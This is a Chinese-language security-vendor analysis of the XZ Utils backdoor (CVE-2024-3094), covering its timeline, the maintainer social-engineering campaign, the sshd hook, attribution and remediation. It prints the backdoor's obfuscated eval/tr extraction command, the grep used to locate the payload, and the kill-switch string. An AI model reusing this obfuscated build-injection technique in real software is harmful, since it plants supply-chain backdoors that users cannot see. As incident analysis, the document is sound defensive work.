核弹级危机一触即发，亚信安全深度分析XZ Utils后门事件

2024年3月29日星期五上午8点，有研究人员称xz/liblzma中的后门导致SSH服务器内存泄露，使得SSH服务异常（https://www.openwall.com/lists/oss-security/2024/03/29/4）。github中“xz”压缩工具主要由Larhzu和Jia Tan共同负责维护，他们已经合作发布了多个版本。然而，研究人员发现Jia Tan发布的5.6.0和5.6.1版本存在后门代码，该后门允许攻击者未经授权地使用SSH访问系统。这个漏洞编号为CVE-2024-3094，近期引起了广泛的关注和讨论。接下来将对此次攻击事件进行详细分析。

漏洞概述

XZ Utils是一个高压缩比的数据压缩格式，广泛应用于各种Linux发行版中。在XZ Utils的5.6.0和5.6.1版本中，被研究人员发现存在恶意后门代码，这个后门代码可以被攻击者利用，通过SSH未经授权地访问系统。

这个恶意后门代码被嵌入在XZ Utils的两个测试文件中：tests/files/bad-3-corrupt_lzma2.xz和tests/files/good-large_compressed.lzma。攻击者通过修改这些文件中的代码，实现了一个复杂的后门机制，可以在OpenSSH服务器（SSHD）中注入恶意代码，从而允许攻击者发送任意的SSH载荷，并在身份验证之前执行这些载荷，有效地劫持整个受害机器。

攻击者画像

自2021年起，化名Jia Tan（JiaT75）的攻击者因涉及XZ Utils等项目的后门事件在GitHub上引起注意，直至2024年3月31日账户被封。通过长期贡献代码，Jia Tan在开源社区建立信誉，利用该信任植入恶意代码至包括libarchive和oss-fuzz在内的多个项目，展示出深厚的技术实力，他精通Linux系统、ChaCha20加密算法和IFUNC技术。攻击者的动机可能包括经济、政治或技术展示，极有可能属于有国家背景的，有组织有计划的行动。此次事件预示开源社区需警惕并采取措施，以应对潜在威胁。

漏洞影响范围

这个漏洞主要影响使用XZ Utils 5.6.0和5.6.1版本的系统，包括但不限于那些运行Fedora、Debian、Alpine、Kali、OpenSUSE和Arch Linux等发行版的系统。

xz后门构建过程

首先，通过执行build-to-host.m4文件，结合恶意代码运行，进而将加密的代码嵌入到“configure”脚本之中。

接着在执行“configure”脚本时，利用已经被混淆的代码进行操作，该过程涉及对“liblzma”链接器和编译器的标志进行调整，目的是为了干扰符号解析过程。

执行MakeFile时，触发了一个事件：“RsApublidecrypt@.al”符号被操纵，将其指向运行时环境中的另一个恶意代码，从而引发了潜在的安全威胁。

时间线

2021年

攻击者首先在2021年创建了一个GitHub账户，并在libarchive项目中提交了一个看似无害但实际可疑的补丁。这个补丁替换了一个安全的函数变体，可能引入了另一个漏洞。

2022年

2月6日，攻击者首次向XZ Utils项目提交了一个表面上合法的补丁，此举是他们获得项目信任的开端。随后，名为Jigar Kumar和Dennis Ens的新角色出现，开始向项目团队施加压力，要求合并该补丁，并提出增加一名新的项目维护者Jia Tan。在一系列交流和操作之后，Jigar Kumar神秘消失。

2023年

攻击者敦促Linux发行版尽快将他准备的软件包版本采用到他们的系统中，他找到了一位Fedora作者，并试图说服他将xz 5.6.x包含在基于rpm的发行版中，利用新版本的“xz”解决bug。ID为“krygorin4545”和“misoeater91”等化名的用户赞扬了所谓的错误修复，目的是虚假的宣传账户。

6月27日至28日，攻击者进行了进一步的更改，这些更改为可能的未来攻击奠定了基础。

2024年

2月15日，攻击者在XZ Utils项目的.gitignore文件中添加了一个忽略规则，用于忽略build-to-host.m4脚本文件。这个脚本文件将在实际发布版本中包含恶意的M4宏，用于在受害者机器上初始化后门的安装。

2月23日，攻击者在XZ Utils项目的两个测试文件中添加了混淆的二进制后门：tests/files/bad-3-corrupt_lzma2.xz和tests/files/good-large_compressed.lzma。

2月24日，攻击者发布了带有恶意build-to-host.m4脚本的5.6.0版本，使恶意后门完全可用。

3月9日，攻击者更新了后门的二进制文件，并发布了5.6.1版本。这两个版本都包含了恶意后门代码。

代码分析

攻击者通过SSH与目标系统连接，使用特定的RSA密钥建立联系，这个密钥随后被提交给OpenSSH服务器（SSHD）。服务器利用RSA_public_decrypt函数来验证攻击者提供的RSA密钥。在这一过程中，恶意代码被注入到OpenSSH服务器，并对RSA_public_decrypt函数进行钩取。这个恶意钩取的代码负责检查由SSH客户端（即攻击者）完全控制的RSA公共模数（"N"值）。然后，它使用一个硬编码的ChaCha20对称流密码作为解密密钥来解密"N"值。解密后的数据通过Ed448椭圆曲线签名算法进行验证，只有攻击者持有的私钥能生成有效的负载，因为后门仅包含用于验证的公钥。

hook伪代码如上图所示，如果数据验证成功，恶意载荷会以shell命令的形式被执行；如果数据无效（如格式错误或签名无效），则会恢复到RSA_public_decrypt的原始实现。这允许攻击者在不被发现的情况下持续进行攻击。通过SSH，攻击者能够发送任意有效负载，在认证前就执行，从而劫持目标系统。这一攻击最终创建了一个名为liblzma_la-crc64-fast.o的后门文件，表明此次攻击使用了远程代码执行（RCE），而不是简单的身份验证绕过。

从上述代码中可以看到攻击者使用grep构建恶意软件名：grep -aErls "#{4}[[:alnum:]]{5}#{4}$" ./，执行结果是：./tests/files/bad-3-corrupt_lzma2.xz

最终恶意指令执行命令为：

xz -dc ./tests/files/good-large_compressed.lzma| eval $i| tail -c +31233| tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377" | xz -F raw --lzma1 -dc

最终在真正的感染部分目标文件liblzma_la-crc64_fast.o 和liblzma_la-crc32_fast.o,被链接了恶意的object文件。

值得一提的是恶意软件作者重新构造了函数get_cpuid，预留了一个参数“__builtin_frame_address”以获取函数返回地址。

从版本5.6.1中提取的Liblzma后门字符串(从内置trie中提取)如下所示：

代码中存在“kill switch”机制将“yolAbejyiejuvnup=Evjtgvsh5okmkAvj”添加到环境变量/etc/environment中可以暂时终止后门，具体表现为他会加速sshd的退出。

恶意文件(liblzma_la-crc64-fast.o{212ffa0b24bb7d749532425a46764433})

攻击者溯源

Jia Tan 历史提交活动范围

Jia Tang近两年github提交记录如下表所示：

larhzu近两年github提交记录如下表所示：

从上述表格可看出代码提交时间分布于UTC+3、UTC+8与UTC+2，UTC+02时区与冬令时（2月和 11月）完美匹配，而UTC+03时区与夏令时（6 月、7 月和10月初）完美匹配。这与东欧发生的夏令时切换完全匹配;我们看到冬季（10 月最后一个周末之后）切换到 +02：00，夏季（3 月最后一个星期日之后）切换到 +03：00，怀疑攻击者位于东欧 （EET），还有以色列 （IST） 等国家，且攻击者有意伪造成中国人进行攻击，但所采用的攻击方法似乎是出自那些将英语作为母语的组织之手。这个时区与Lasse Collin和Jigar Kumar的工作时间相符合。

攻击者的gmail信息记录如下：

处置建议

对于未受影响的系统，如Red Hat Enterprise Linux和Ubuntu等，建议保持警惕，及时更新系统和软件以防范类似漏洞。

同时，在互联网侧，推荐使用亚信安全“外部攻击面管理平台”排查资产操作系统及版本，探测是否有资产开启ssh高危服务，一键开启，排查无忧；在本地主机上，可使用安全工具检测是否存在恶意后门代码，并及时采取措施进行修复和缓解；使用命令行工具执行以下命令检查版本信息，受影响的用户立即将XZ Utils降级至更早版本，并重启机器或重启OpenSSH服务器以移除补丁代码。

如果无法进行降级，可以通过“kill switch”机制禁用恶意后门功能，此处提供两种检测方式：

1. xz --version（不推荐）

2. for xz_p in $(type -a xz | awk '{print $NF}' | uniq); do strings "$xz_p" | grep "xz (XZ Utils)" || echo "No match found for $xz_p"; done

   这段脚本作用是搜索系统上所有的“xz”可执行文件，并尝试确认它们的版本信息。（来源：@Kostastsale）

IOC:

公开yara检测规则:

因篇幅受限，这部分略

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